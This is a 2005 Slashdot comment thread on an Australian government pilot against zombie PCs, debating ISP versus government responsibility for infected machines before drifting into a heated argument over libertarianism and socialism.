AU Government To Pilot Target Zombies

No regulation for me. by jellomizer · 2005-11-07 00:58 · Score: 4, Insightful

"When will U.S. regulators"..."get on board?"

Well I hope never. ISP should have rights to protect their network so they should be allowed to stop Zombie systems when they feel like it. But for U.S. regulation. I say No way. All regulation does is make loopholes for the bad guys and road blocks to the good guys. ISP should be willing to work with their customers to insure this doesn't happen, that is why a lot of ISP are offing free protection software to their windows users, partially because other big names are doing it so they can stay competitive, and partially because with less spam and viruses on their network they can more easily manage it. With US Government control it will be like your system is a Zombie and Fix it. To most people who only have a passing idea what a virus or spyware/addware is, most really won't know much how to fix it if it doesn't require clicking one button and then selecting the default for all questions. So if it is anything of a difficult fix, or requires hireing expensive techs to fix it they will toss their computer saying it is broken, or sue ISPs and the Government for disconnecting their ISP without giving them a means to remove it. Also systems like P2P, BitTorrent, and some distributive computing systems, all with legal uses, could be considered a zombie system to some some people like the Entertainment industry and can use that to force all people using the technology even for non entertainment uses (such as downloading Linux distros)
Government control adds rigidly defined rules to a flexible universe and often will cause more harm then good.

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If something is so important that you feel the need to post it on the internet... It probably isn't that important.

Re:No regulation for me. by Anonymous Coward · 2005-11-07 01:02 · Score: 0

Who downloads linux distros with P2P software? I just use FTP or HTTP...
Re:No regulation for me. by jellomizer · 2005-11-07 01:04 · Score: 1

BitTurrent is great for downloading large images. Especially if they are just released FTP/HTTP gets slower when more people download BitTurrent is faster when more people are downloading.

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If something is so important that you feel the need to post it on the internet... It probably isn't that important.
Re:No regulation for me. by Somegeek · 2005-11-07 01:07 · Score: 1

Bittorrent is considered P2P software and lots of people use it for downloading distros.

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And as you tread the halls of sanity, You feel so glad to be, Unable to go beyond. I have a message, From another time..
Re:No regulation for me. by KiloByte · 2005-11-07 01:10 · Score: 1

Too bad, in reality, trying to block a customer or even educate him will make you lose a client. People will argue that they run anti-virus software and are clean; no amount of evidence is going to persuade them. Thus, you have the choice of either pampering them or letting them go.

I do some consulting for a couple of local ISPs -ie, I'm the guy who tells people who run them how to set up traffic shaping, firewall rules, etc. And generally, whenever the network gets stuffed with worms, we just block the relevant traffic and suck it up.

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The creatures outside looked from Alt-Right to Antifa; but already it was impossible to say which was which.
Re:No regulation for me. by jellomizer · 2005-11-07 01:22 · Score: 2, Insightful

Good point. To bad there isn't a way to make people realize that Virus protection and anti-spyware, and software firewalls are not the silver bullet to keeping your computer free of viruses and other nasties. These are tools that can give you some relative safety and it is better then nothing but it is like Armor (Either todays Body Armor or the old suits of armor of old) they are better then nothing but still you can get hurt, or killed. Maybe in a couple generations we will be able to get people who are comfortable enough with computers to understand this and learn to be more vigilant.

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If something is so important that you feel the need to post it on the internet... It probably isn't that important.
Re:No regulation for me. by meringuoid · 2005-11-07 01:33 · Score: 1

To most people who only have a passing idea what a virus or spyware/addware is, most really won't know much how to fix it if it doesn't require clicking one button and then selecting the default for all questions. So if it is anything of a difficult fix, or requires hireing expensive techs to fix it they will toss their computer saying it is broken
This is, of course, greatly to be encouraged. The more lusers decide their computers are irreparably broken just because of some worm, the more perfectly good machines are available for, er, refurbishment and recycling. Nuke the hard disk, install Linux, imagine a Beowulf cluster of those things. Should we geeks not be looking out for our own interests in this matter?

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Real Daleks don't climb stairs - they level the building.
Re:No regulation for me. by Pig+Hogger · 2005-11-07 02:00 · Score: 0, Troll

With US Government control it will be like your system is a Zombie and Fix it. To most people who only have a passing idea what a virus or spyware/addware is, most really won't know much how to fix it if it doesn't require clicking one button and then selecting the default for all questions.
So, therefore, the government should not check that anyone drives on the road with a haywire jalopy, and if it breaks down, crashes and kills a widow driving her three orphans to soccer practice, it's though luck for the widow?
Government control adds rigidly defined rules to a flexible universe and often will cause more harm then good.
Here is a real libertarian argument.
Remember kids: libertarians want a minimal state whose sole function is to protect them from the wrath of their slaves.
Re:No regulation for me. by gowen · 2005-11-07 02:06 · Score: 0

All regulation does is make loopholes for the bad guys and road blocks to the good guys.
Yes. And auto manufacturers should be left to police traffic laws.

Who cares about the horrible degradation of the infrastructure when there are libertarian dogmas at stake?

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Athletic Scholarships to universities make as much sense as academic scholarships to sports teams.
Re:No regulation for me. by drauh · 2005-11-07 02:17 · Score: 1

ObMac: tell them to get a Mac.

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This is a tautology.
Re:No regulation for me. by Anonymous Coward · 2005-11-07 02:32 · Score: 0

You do not normaly find zombies using p2p channels.
You find them using Netbios,upnp,tftp traffic can also indicate zombies,large ssh scans (using up 2gb of bandwidth in a few days of course not on home dsl lines.this would take a month or 2 maybe even longer ).

This is the type of traffic that should be blocked.
Normal dsl clients do not normaly need to use these protocols/ports. If they do need to use these for one reason or another then they can phone the isp and ask.

open up netcat on netbios ports ie tcp ports 137 139 445 and just watch the shell code come.

One isp that i hope will take this type of approach is BT.
There network is full of zombies. I normaly get about 10 hits a minute on netbios ports.
even ntl and aol are smart enough to block these port.
Re:No regulation for me. by Anonymous Coward · 2005-11-07 02:54 · Score: 0, Offtopic

So, therefore, the government should not check that anyone drives on the road with a haywire jalopy, and if it breaks down, crashes and kills a widow driving her three orphans to soccer practice, it's though luck for the widow?

That would likely be manslaughter. Unfortunately, you can't eliminate risk in life, and rational people understand that the more you approach risk management through a command structure, the more you make life expensive and miserable for everyone while not gaining any real reduction in risk.

Consider your example: our state used to have mandatory annual auto inspections. You would have to wait for 2-3 hours at the city garage, pay a $35 fee and end up losing a half days work (naturally, they only work on weekdays when most other people have to as well and forget working past 4:30 - they stopped taking names at 1 PM for the day). Does mass inspection make things better? It doesn't (and this recognition is the foundation of most current quality management theory). It actually adds expense with no gain in quality. They dropped it due to considerable public opposition and a realization that it didn't improve the status of car quality.

At the same time, you will find existing laws on nearly all state books requiring people operate safe vehicles. These laws can come into play during a routine police stop (at the dismay of the ACLU, which argues that they discriminate against the poor who should be able to drive your jalopy) and in accident investigations. Understand that if you had knowledge of an unsafe vehicle which ends up crashing into and hurting/killing another party, your negligence will likely lead to a manslaughter conviction.

Incidentally, your libertarian "definition" is about as contorted as possible. Try learning about a concept and having a basic understanding before you attempt to argue against it.
Re:No regulation for me. by jacksonj04 · 2005-11-07 03:03 · Score: 3, Informative

No, because despite business regulations (In the EU at least) for recycling machines, if the average home user doesn't know of someone who is likely to take old PCs then they will just be scrapped. This is bad, not only is it a waste of perfectly good hardware but it also adds heavy metals (in older machines) to the soil in higher concentrations than normal.

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How many people can read hex if only you and dead people can read hex?
Re:No regulation for me. by nead · 2005-11-07 03:14 · Score: 0, Offtopic

Remember kids: libertarians want a minimal state whose sole function is to protect them from the wrath of their slaves.

You realize you discredit yourself with such openly hostile blanket statements (troll). Most libertarians want as much social AND economic freedom as they can get. Most of the rest of the country doesn't realize that Liberty and Security are polar opposites. But hey, if you want a nanny state just keep up the status quo.

Remember Children: blanket statements, baseless accusations and false representation are great ways to get people to write you off as a child.
Re:No regulation for me. by autocracy · 2005-11-07 03:48 · Score: 3, Insightful

Not on private farm roads, at least.
The Internet is not a government run operation. The Fed has nothing to do with me getting between 2 ip addresses unless they're .mil. DNS has a thing connection, but there's nothing really substantial about that.

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SIG: HUP
Re:No regulation for me. by Zenaku · 2005-11-07 03:55 · Score: 1

So, therefore, the government should not check that anyone drives on the road with a haywire jalopy, and if it breaks down, crashes and kills a widow driving her three orphans to soccer practice, it's though luck for the widow?
If the widow's three kids are already orphans before the crash, then the widow was a ZOMBIE, and the the jalopy-driver is a hero!

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If fate makes you a motorcycle, you become a motorcycle.
Re:No regulation for me. by Pig+Hogger · 2005-11-07 04:03 · Score: 2, Interesting

Most libertarians want as much social AND economic freedom as they can get.
So they can make money at the expense of others (social freedom = freedom to enslave others).
Most of the rest of the country doesn't realize that Liberty and Security are polar opposites.
An anglo-saxon fallacy!
Security is the absolute prerequisite for enjoying one's freedom. If one has to enforce his own freedom, he is so overwhelmed by the task that he has no time/ressources to enjoy his "freedom".
One's freedom **SHALL NEVER** infringe on someone else's freedom.
Some americans, by virtue of their money, are more free than others, and the former often have no problem infringing on the freedom of the latter.
Re:No regulation for me. by Anonymous Coward · 2005-11-07 04:10 · Score: 0

Mod parent up.
Remember kids: libertarians want a minimal state whose sole function is to protect them from the wrath of their slaves.
That's a Troll if I've ever seen one!
Re:No regulation for me. by c_woolley · 2005-11-07 04:39 · Score: 0

Mac? Pretty much like having a virus to begin with isn't it? :) I couldn't agree more with this line of thought. Government should not be allowed to control my, or anyone else's, computer. Regulations on specific things, such as child porn and other horrific trash, are a good thing...pretty sure the majority of society believes that. Viruses and other nasties do cause a TON of loss in money and personal data, and I feel that if ISPs were more professional and knowledgeable (lets face it, why would they need to hire a consultant if they were technically proficient enough to do it themselves?), there would be a great reduction in the number of script kiddies, and other annoying problems. This could be a method to discourage script kiddies from becoming actual threats later down the road. Maybe not, but it could be a start. It's just too bad people write trash instead of using the wasted potential to improve OS's and software that would help people. A lot of talent going to waste...
Re:No regulation for me. by flyinwhitey · 2005-11-07 04:47 · Score: 1

"So, therefore, the government should not check that anyone drives on the road with a haywire jalopy, and if it breaks down, crashes and kills a widow driving her three orphans to soccer practice, it's though luck for the widow?"

Yet another example of why analogies are such a bad idea when debating.

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How pathetic are you that you follow me from topic to topic and waste all your mod points at once modding me down?
Re:No regulation for me. by modecx · 2005-11-07 05:16 · Score: 1

No, it's more like a leasing company getting really bent out of shape if you've caused excess wear and damage on their car during the period of the lease--and they'll make you pay big time, or your credit is going in the dumper.

Comercially, it has to be in the ISPs best interest to make their network as virus free as possible. Do I think it's unreasonable for an ISP to disconnect wormed computers? Not at all, especially if it's outlined in the terms of service! Should the government be involved? No. (note I usually vote democrat, yet think we do not need to government to hold our hands) Worm free ISPs will be more profitable and more desireable by the consumer. The economy will sort it, and automatically.

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Constitutional rights may be respected, repealed, or modified; but they must never be ignored.
Re:No regulation for me. by Ifni · 2005-11-07 05:21 · Score: 1

Remember kids: libertarians want a minimal state whose sole function is to protect them from the wrath of their slaves.

I, for one, welcome our new Libertarian Overlords.

Seriously, being a libertarian myself, I find this sort of blanket statement baseless and uninformed. I won't even comment as to the rudeness of it as such things are to be expected in a political discussion. I think that Pig Hogger (a hillbilly name if ever I heard one) forgot to check the "post anonymously" box.

And for those too dense to pick up on it, my "hillbilly" insult is meant to show how silly such stereotype insults are. If anybody takes it seriously, well, I'm happy to have pissed in your Wheaties as it is likely to be the least offensive percieved sleight in your dim witted paranoid day.

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Oh, was that my outside voice?
Re:No regulation for me. by sumdumass · 2005-11-07 05:27 · Score: 1

You forgot to mention that a worm riddled PC isn't going to kill someone either. It isn't like life and death are at stake here.
Re:No regulation for me. by RexRhino · 2005-11-07 05:36 · Score: 1

So, therefore, the government should not check that anyone drives on the road with a haywire jalopy, and if it breaks down, crashes and kills a widow driving her three orphans to soccer practice, it's though luck for the widow?
This is a truly idiotic analogy. Zombie machines cause no physical harm to anyone, and it is easy to protect yourself from becoming a zombie machine, it is easy enough for ISPs to deal with (many already do). While the government getting involved in the issue has terrible civil liberty implications (will the government add people to a "zombie" black-list based on some political criteria, will the government provide you a court hearing and provide you with an free lawyer like in a criminal case - or are we supposed to trust the government will be infailable and 100% effective without redress, what will the government do to prevent false positives, how do we know that in intercepting data packets for monitoring zombie machines the government will not be spying on us?).

While a dangerous vehicle: A) presents a real physical danger to the public B) there is no real way to avoid dealing with them for the general public C) Is not a communication medium, and so it does not effect political discourse if the government in overzealous in enforcement D) There is a whole set of explicit legal protections that the accused are garanteed E) The government does not need to monitor private communications to enforce the law, the roads are public spaces where there is no assumption of privacy (unlike email, or voice-IP, or whatever).

Remember kids: libertarians want a minimal state whose sole function is to protect them from the wrath of their slaves.
Oh god, spare me the "freedom = slavery" pro big brother advocacy.

According to wordnet, here is the definition of slavery:
1. the state of being under the control of another person
2. the practice of owning slaves
3. work done under harsh conditions for little or no pay

Cleary garanteeing legal protection for the accused, defending freedom of speech, protecting people's privacy, allowing people to keep the fruits of their labor, (the premises of libertarianism) does not fall under any of those categories.

However, the legally enforced government zombie blacklist that you are advocating, meets definition 1 and 3 (1 - you are under control of the government beurocrat who can arbitrarily order you disconnected from the internet, without any trial, without any warning, without any garantees of protect or legal counsil provided... 3 - The ISPs are forced to do extra work to comply without any compensation).

You want to make everyone slaves to a totalitarian government. You worship the government, and believe it infailable like a god. And so you believe that being without your supreme infailable god is "slavery", the same way Christians consider being non-Christian "slavery". But for those who don't accept your blind faith in the glorious state, we see your rigid authoritarianism as slavery. If you want to pray to G. W. Bush or whoever, that is fine, I don't want to stop you... but don't try to push your religion on the rest of us!
Re:No regulation for me. by budgenator · 2005-11-07 06:02 · Score: 1

Pig Hogger isn't a hillbilly, hillbillies are at least american, often fiercely patriotic but a bit paranoid of a big-central US government. Pig Hogger is European I forgot which nationality, and a knee-jerk anti-american. He's the only person who's earned a permant place on my enemies list.

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Apocalypse Cancelled, Sorry, No Ticket Refunds
Re:No regulation for me. by badevlad · 2005-11-07 06:14 · Score: 1

Users newer can stop this. It is work of ISP and government. Most of users are too lazy, and busy to think about protection and special software.

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Hide your files and folders from others!
Re:No regulation for me. by Coldeagle · 2005-11-07 06:42 · Score: 1

I completely agree. Folks when you ask the "government" aka the people with the big guns to make decisions such as this, most people will not like the decision. If a state regulation were created, then it would not be as bad; however, when you ask the Federal government to make decisions like this, then you are asking them to take more control of legitimate state business. This kind of problem happens to people within the state that the computer ISP exist; therefore, the Fed should not regulate it.
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"I think; therefore, I am Libertarian"
http://www.lp.org/
Re:No regulation for me. by scottv67 · 2005-11-07 06:53 · Score: 2, Insightful

Who downloads linux distros with P2P software? I just use FTP or HTTP...

People who don't want to wait forever-and-a-day for their ISOs to download. Using a tool like Bittorrent results in *much* quicker downloads (once quite a few people are seeds).

Also, leaving your Bittorrent client running after you finish your download so that others can feed off you is a great way to give back to the community. I only have 384k "up" on my cable connection at home (RR) but if I leave my Bittorrent client running 24 x 7 for a week, I can do my part to help other people get their copy of the distro.
Re:No regulation for me. by Pig+Hogger · 2005-11-07 06:57 · Score: 1

This is a truly idiotic analogy. Zombie machines cause no physical harm to anyone, and it is easy to protect yourself from becoming a zombie machine, it is easy enough for ISPs to deal with (many already do).
Zombies are conduit for criminal conduct.
Spammers and criminal gangs that conduct DDOS attacks through zombie networks.
Spammers steal bandwitdh, storage and CPU cycles on the mail servers they deluge with pill and penis spam.
SPAM IS THEFT! Surely a libertarian who is obsessed with his own financial gain can understand that!!!
Let's not forget this for a second! Most spam goes through zombie botnets that were infected by worms specifically designed to spam.

Remember kids: libertarians want a minimal state whose sole function is to protect them from the wrath of their slaves. Oh god, spare me the "freedom = slavery" pro big brother advocacy.
According to wordnet, here is the definition of slavery:
1. the state of being under the control of another person
2. the practice of owning slaves
3. work done under harsh conditions for little or no pay
This is precisely what I mean. Libertarians want no labour laws, no social protection, no government intervention but protection from retribution by the people they screw.
They don't want minimum wages law, so they can con and/or coerce poor people to work for them at slave wages.
They don't want government to check whether they are dumping toxic waste in the ditches so they can do it unhindered and save precious dollars.
You want to make everyone slaves to a totalitarian government.
Typical anglo-saxon fallacy. A socialist government who uphold the worker's rights frees them from the tyranny of a boss who can no longer fire them if they stand-up for their rights.
You worship the government, and believe it infailable like a god.
You anglo-saxons should get your head out of your arse, and notice that there are many different cultures who, free from the mental shackles of the magna-carta, do not believe that all that comes from the State/Government is evil. And in many places, the State/Government does an excellent job of managing things, like providing universal health-care (at a lower per-capita cost than the for-profit system in the US) or electrical power (cheapest in the world, too!).
If you want to pray to G. W. Bush or whoever, that is fine, I don't want to stop you... but don't try to push your religion on the rest of us!
By destroying Government, by seeding doubt about the Democratic process by discrediting politicians, the libertarians are precisely shoving down their no-government religion on everyone.
Re:No regulation for me. by arodland · 2005-11-07 07:14 · Score: 1

So, therefore, the government should not check that anyone drives on the road with a haywire jalopy, and if it breaks down, crashes and kills a widow driving her three orphans to soccer practice, it's though luck for the widow?

No, of course if you crash your car and kill people, that's your responsibility -- and so the burden is on you to make restitution or suffer consequences. And that is your incentive not to drive an unroadworthy vehicle, not state-run rackets selling shiny stickers at $20 a pop.
Re:No regulation for me. by misleb · 2005-11-07 07:29 · Score: 4, Insightful

This isn't true. I worked for an ISP which was dilligent about working with customers to clean up PCs. They are surprisingly coorporative. They don't like the idea of their computer be infected any more than you do. You just have to be diplomatic about it. Don't blame them. Just give them the tools to clean and keep clean their computers.

-matthew

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"THERE IS NO JUSTICE, THERE IS ONLY ME." -Death
Re:No regulation for me. by Pig+Hogger · 2005-11-07 08:21 · Score: 1

No, of course if you crash your car and kill people, that's your responsibility -- and so the burden is on you to make restitution or suffer consequences. And that is your incentive not to drive an unroadworthy vehicle, not state-run rackets selling shiny stickers at $20 a pop.
So, for you, a pound of cure is better than an ounce of prevention...
Re:No regulation for me. by RexRhino · 2005-11-07 08:21 · Score: 1

This is precisely what I mean. Libertarians want no labour laws, no social protection, no government intervention but protection from retribution by the people they screw. They don't want minimum wages law, so they can con and/or coerce poor people to work for them at slave wages.

No labor laws != No labor protection. The rights of workers can better be protected by labor unions, consumer unions, professional groups, and other non-government organizations. People should be allowed to form voluntary agricultural or industrial communes, and organize their own social protection infrastructure as they see fit. There are any number of models of collectivism and social protection that doesn't involve the government enforcing THE ONE TRUE WAY on everyone with a gun to people's head. There are many people who cannot be helped by the "socialist" one-size-fits-all model of centralized control, because a nation of 300 million people don't all have the same social need. People would have a choice in their social protection, and groups of people would be allowed to choose the level of collectivism that is right for them.

Government "worker protection" laws tend to hurt workers rights, by putting worker welfare in the hands of a single beurocratic monopoly with absolute power which can easily be bribed or corrupted by those with the most most money... and by raising the cost of doing buisness through regulation, ensuring that only the largest corporations are able to deal with regulation and hence do buisness.

A socialist government who uphold the worker's rights frees them from the tyranny of a boss who can no longer fire them if they stand-up for their rights.
Socialism simply makes the boss the central government monopoly authority stucture. If a person is dissatisfied with an employer, they can quit (or join with other workers and form a union for collective bargaining)... if a person is dissatisfied with the government, they can't quit. The only way to quit when the government is to die, or to flee the country.

You anglo-saxons should get your head out of your arse, and notice that there are many different cultures who, free from the mental shackles of the magna-carta, do not believe that all that comes from the State/Government is evil. And in many places, the State/Government does an excellent job of managing things, like providing universal health-care (at a lower per-capita cost than the for-profit system in the US) or electrical power (cheapest in the world, too!).
I live with "universal health care" (Canada, along with North Korea and Cuba, are amoung the only countries that ban all private paid medical care, and is one of the most socialized systems in the world)... and I can tell you that "universal medical care" isn't what they call it. It should be called "state run monopoly" health care, because millions of people are going without the medical care they need (ironicly, medical care was pretty much so cheap as to be almost universal before "universal health care" came around). The "socialist" success stories are usally in countries that aren't really "socialist" (for example, Sweden actually is ranked in the top 15 for economic freedom and has a thriving capitalist economy, Switzerland is damn near the top and far more free-market than the U.S., despite the reputation both have for being "socialist")... Or countries that are so small and mono-cultural that the government is still a tiny government despite being "socialist"... or, are actually deeply troubled and not a country most would want to emulate (like France).

By destroying Government, by seeding doubt about the Democratic process by discrediting politicians, the libertarians are precisely shoving down their no-government religion on everyone.
No, we don't want to take away any of your rights to collectivism. If you want to pool your property with other people to form a collectivist commune, we support you 100%. If you want to form a national program to provide free health care to everyone, t
Re:No regulation for me. by arodland · 2005-11-07 08:59 · Score: 1

No. Try reading what I said. Strawmen not welcome. Prevention is always preferable, but in either case that choice falls on the car owner. So it's more like, a pound of cure is better than two pounds.
Re:No regulation for me. by arodland · 2005-11-07 09:04 · Score: 1

Permission to shout "bravo" in an annoyingly loud voice?
Re:No regulation for me. by Pig+Hogger · 2005-11-07 09:53 · Score: 1

consumer unions, professional groups, and other non-government organizations. People should be allowed to form voluntary agricultural or industrial communes, and organize their own social protection infrastructure as they see fit.

The absence of labour laws leads to union-busting.

There are any number of models of collectivism and social protection that doesn't involve the government enforcing THE ONE TRUE WAY on everyone with a gun to people's head.

Funny that those who say that believe that THE ONE TRUE WAY is the anarchist one (with just enough police and laws to control the rabble) so they can screw the poorer people...

There are many people who cannot be helped by the "socialist" one-size-fits-all model of centralized control, because a nation of 300 million people don't all have the same social need.

"I don't need to pay taxes to pay for $STUFF because I don't need $STUFF". We've heard that brain-dead argument before.

People would have a choice in their social protection, and groups of people would be allowed to choose the level of collectivism that is right for them.

Social freedom is NOT "collectivism". More libertarian disinformation at work.

Government "worker protection" laws tend to hurt workers rights, by putting worker welfare in the hands of a single beurocratic monopoly with absolute power which can easily be bribed or corrupted by those with the most most money...

No worker protection ALWAYS means that those with the most money screw the workers.

and by raising the cost of doing buisness through regulation, ensuring that only the largest corporations are able to deal with regulation and hence do buisness.

Workers are also faced with "cost of doing business" such as their transportation, their food, their lodging. Yet, it seems that only the business is somehow entitled from being shielded from all that.

A socialist government who uphold the worker's rights frees them from the tyranny of a boss who can no longer fire them if they stand-up for their rights.

Socialism simply makes the boss the central government monopoly authority stucture.
More clueless libertarian ranting. Socialism is NOT collectivism. Socialists BELIEVE in private entreprise too. They just don't believe that it is the only thing that need to be catered too.

If a person is dissatisfied with an employer, they can quit (or join with other workers and form a union for collective bargaining)...

Unemployment is purposefully kept high to insure that the workers can be threatened with firing and bear unsatisfactory work conditions.

if a person is dissatisfied with the government, they can't quit. The only way to quit when the government is to die, or to flee the country.

Socialists ALSO believe in democracy and can vote a government out of office.

You anglo-saxons should get your head out of your arse, and notice that there are many different cultures who, free from the mental shackles of the magna-carta, do not believe that all that comes from the State/Government is evil. And in many places, the State/Government does an excellent job of managing things, like providing universal health-care (at a lower per-capita cost than the for-profit system in the US) or electrical power (cheapest in the world, too!).

I live with "universal health care" (Canada, along with North Korea and Cuba, are amoung the only countries that ban all private paid medical care, and is one of the most socialized systems in the world)... and I can tell you that "universal medical care" isn't what they call it.
Re:No regulation for me. by jellomizer · 2005-11-07 11:03 · Score: 1

Who cares about the horrible degradation of the infrastructure when there are libertarian dogmas at stake?

You miss the point. It is the ISP best interests to control their network. If their customers are causing things that would cause other ISP to block them or slow down other customers then the ISP will work to keep their customers clean. Most ISPs don't charge by bandwidth anymore, there is no real advantage of having Zombie PCs in their network. If they offer the zombie PC more bandwidth for more price then the zombie pc will just send more crap and keep it at the same speed and loose them as a customer as well others who feel the network is slow. In this stat it is the ISP best interest to keep their network clean. So why make a law that will enforce what most ISP want to do anyways, all it will do is make the ISPs rush to add the extra regulations, doing a half/assed job at it, and opening loopholes for people who may want to take advantage of the law. It is like making stepping on nails illegal, it is the person best self interest to not step on nails on purpose. So why make the extra regulation so a person is committing a criminal act when they stepped on a nail.
Here is a local example of how laws while are designed to do good, end up being more harmful in the future. In a city that only has street parking, there is a handicapped person living in an apartment. So they make a law to give her a handicapped parking spot. Now after a couple years she moves out. The handicap spot is still there never being used legally, the amount of work to get the reserved spots removed are much harder then it takes to put them up because of fear that a group for disabled rights (a good cause) will complain because they will just see the numbers for the whole city that there is decrease in handicap parking, so they will complain and making the processes more difficult. Leaving an already difficult to park area of the city to be that much more difficult to park area.

--
If something is so important that you feel the need to post it on the internet... It probably isn't that important.
Re:No regulation for me. by RexRhino · 2005-11-07 11:13 · Score: 1

The absence of labour laws leads to union-busting.
Union-busting is violence, and has nothing to do with "labor laws". Laws against busting heads is good enough. And you statement ignores that through most of history, it was the government and the boys in blue doing the union busting.

No worker protection ALWAYS means that those with the most money screw the workers.
No. In fact most of the worker protection and rights "garanteed" in laws were already commonplace before the laws were created. Unions won the 40 hour work week, ended child labor, etc., then the government came in and made what was already pretty commonplace into a law, thereby stealing credit for it.

And countries like India have some of the strictest labor laws in the world, but that doesn't mean they work... because there was never a mass labor movement to win those rights. Those policies exist only on paper.

Unemployment is purposefully kept high to insure that the workers can be threatened with firing and bear unsatisfactory work conditions.
Then why is unemployment highest in "Socialist" nations, and relatively low in "Capitalist" nations? Why does France usually have double the unemployment of the U.S., if the "Socialist" government is keeping the "Capitalists" in check? Shouldn't "Capitalist" countries have the highest unemployment?

The fact is that people consistently have said that they want NONE of the private for-profit US health-system that those morons want instituted.
The latest CBC poll I have seen showed that 51% of Canadians would like to be able to suplement government health care with private care.

Like Canada, too, who, unlike Sweden or Switzerland is a member of the G-7 (like France)?
Canada is comparable to the U.S. in government policy. The government of Canada is actually more fiscally conservative that the U.S, and spends less both in %GDP and in dollars than the U.S. on "social spending".. Does that make it "Socialist", or "Capitalist"?

And it becomes the mess that public education has become in the USA.
Why do you point out a bad government program to prove that government is wonderful? The U.S. actually doesn't have as much private education as most countries. Countries like Germany give tax credit for private education and activly encourage it. The U.S. has some of the best funded schools in the world. Why is a failure of socialistic schooling supposed to be an endorsement of Socialism?

Without laws protecting the consumers, those advocating boycotts will be sued into oblivion by corporations.
Sued into oblivion by corporations? That is an act of government intervention. Of course a big, powerful government acts on behalf of corporations! If you are trying to make the point that government is good, and personal freedom is bad, using the court system is a bad example. It is the epitome of government power.

The history of Humanity has well proven that voluntary cooperation will NEVER go towards social justice. Libertarians are woefully deficient on the understanding of History.
Are you crazy? History has shown that governments are the most bloodthirsty and destructive force on earth. Governments have directly killed at least 170 million people in the 20th century... look at the bloody history of warfare, imperialism, genocide, oppression that was carried out by governments. I highly doubt that anything a few individuals can do can compare to the sheer destruction perpetrated by governments in the 20th Century. Take all the tainted meat and cars without seatbelts you want, and no lapse of the free market even begins to come close to the bloodshed of WWII!

No, we want a system where everyone has the same opportunity, and where no one can harm others while enriching himself. This is social justice.
Who decides what "the same opportunity" is? Who decides what "harming others" is? Stalin claimed to support these same very principles. So did Mao. So did Pol Pot. So did countless others
Re:No regulation for me. by Pig+Hogger · 2005-11-07 12:31 · Score: 1

Union-busting is violence, and has nothing to do with "labor laws".

Tell that to Wall-Marde employees who get fired for trying to unionize...

Unions won the 40 hour work week, ended child labor,

Er, no. Child labour was outlawed at the insistence of some industrialists who were compelled to employ children in order to stay competitive. The only way they could go without employing children (which they did not want to do) was by havint it outlawed.

And countries like India have some of the strictest labor laws in the world, but that doesn't mean they work... because there was never a mass labor movement to win those rights. Those policies exist only on paper.

When a country is unable to properly feed it's population, it can be understood that they will not actively pursue higher social standards.

Unemployment is purposefully kept high to insure that the workers can be threatened with firing and bear unsatisfactory work conditions.

Then why is unemployment highest in "Socialist" nations, and relatively low in "Capitalist" nations? Why does France usually have double the unemployment of the U.S., if the "Socialist" government is keeping the "Capitalists" in check? Shouldn't "Capitalist" countries have the highest unemployment?
Because capitalists purposefully avoid dealing with those countries in order to put pressure on their regimes. We are living with this daily in Québec, whose unemployment rate is always about 10% above Ontario, no matter which political regime is in effect.

The fact is that people consistently have said that they want NONE of the private for-profit US health-system that those morons want instituted.

The latest CBC poll I have seen showed that 51% of Canadians would like to be able to suplement government health care with private care.
"Supplement" is not "replace". And, besides, there is already private supplement to health care in the system.

Canada is comparable to the U.S. in government policy. The government of Canada is actually more fiscally conservative that the U.S, and spends less both in %GDP and in dollars than the U.S. on "social spending".. Does that make it "Socialist", or "Capitalist"?

It makes it socialist because no one entering a hospital gets a wallet biopsy and a credit check.

And it becomes the mess that public education has become in the USA.

Why do you point out a bad government program to prove that government is wonderful?
Because public education in Canada IS much better than in the US.

The U.S. actually doesn't have as much private education as most countries. Countries like Germany give tax credit for private education and activly encourage it.

And socialist Québec subsidizes private schools!!!

The U.S. has some of the best funded schools in the world. Why is a failure of socialistic schooling supposed to be an endorsement of Socialism?

Because US public education has been wrecked by capitalists.

Without laws protecting the consumers, those advocating boycotts will be sued into oblivion by corporations.

The history of Humanity has well proven that voluntary cooperation will NEVER go towards social justice. Libertarians are woefully deficient on the understanding of History.

Are you crazy? History has shown that governments are the most bloodthirsty and destructive force on earth.
This is the act of UNDEMOCRATIC governments.

Governme
Re:No regulation for me. by Ifni · 2005-11-07 13:51 · Score: 1

One's freedom **SHALL NEVER** infringe on someone else's freedom.

Maybe we're reading from a different book, but I thought that was the basis of Libertarianism. From http://en.wikipedia.org/wiki/Libertarianism, "libertarianism holds that a person's freedom to dispose of his body and private property as he sees fit should be unlimited as long as that person does not initiate coercion on others". Further, "libertarians define "coercion" as the use of physical force, the threat of such, or deception (fraud), that alters, or is intended to alter, the way individuals would use their body or property". So, now explain to me how we jump from the above definition of Libertarianism (which I have quoted you stating strongly as sometheing you agree with) to a means of controlling slaves?

--
Oh, was that my outside voice?
Re:No regulation for me. by rtb61 · 2005-11-07 14:45 · Score: 1

The added benefit of having a document from a recognised regulatory authority is that it corroborates your actions and enables the commercial provider to redirect any criticisms to the government authority.
Claims that having government body monitoring complaints of illegal actions and spam and taking the proper action of notifying the isp so that action can be taken to prevent further harm to other users and enable the person whose computer is infected from regaining the privacy , are somehow controlling or that people will get disconnected at random are just plainly wrong.
The only people who desire to prevent legislation that would allow a simple compliant and action process are the isp's that promote spammers and the spammer themselves.

--
Chaos - everything, everywhere, everywhen
Re:No regulation for me. by Hellsbells · 2005-11-07 20:08 · Score: 1

Most ISPs don't charge by bandwidth anymore, there is no real advantage of having Zombie PCs in their network.

In Australia, most ISPs still continue to change by bandwidth, and are profiting from the Zombie PCs.

I was just looking at ADSL prices today, and some ISPs (including Bipond, Australia's largest ISP) are charging up to AUS$150/GB of excess usage data.

Don't forget the other monsters by LiquidCoooled · 2005-11-07 00:59 · Score: 4, Funny

Zombies are just one type, we need to start identifying the Vampires and ghouls.

They cause MUCH more havoc than simple zombies.

--
liqbase :: faster than paper

Re:Don't forget the other monsters by Borg453b · 2005-11-07 02:01 · Score: 1

The zombies were mentioned because theyre the worst kind - just ask Forescore Jones:

http://www.spacetree.com/spacetree20.html

--

- Mad, ingenous - they've both left you puzzled -
Re:Don't forget the other monsters by Pig+Hogger · 2005-11-07 02:04 · Score: 0, Offtopic

Zombies are just one type, we need to start identifying the Vampires and ghouls.
They cause MUCH more havoc than simple zombies.
That's nothing compared to trolls!!!

AU Government to Target Zombies as Pilots. by DrEldarion · 2005-11-07 01:01 · Score: 2, Funny

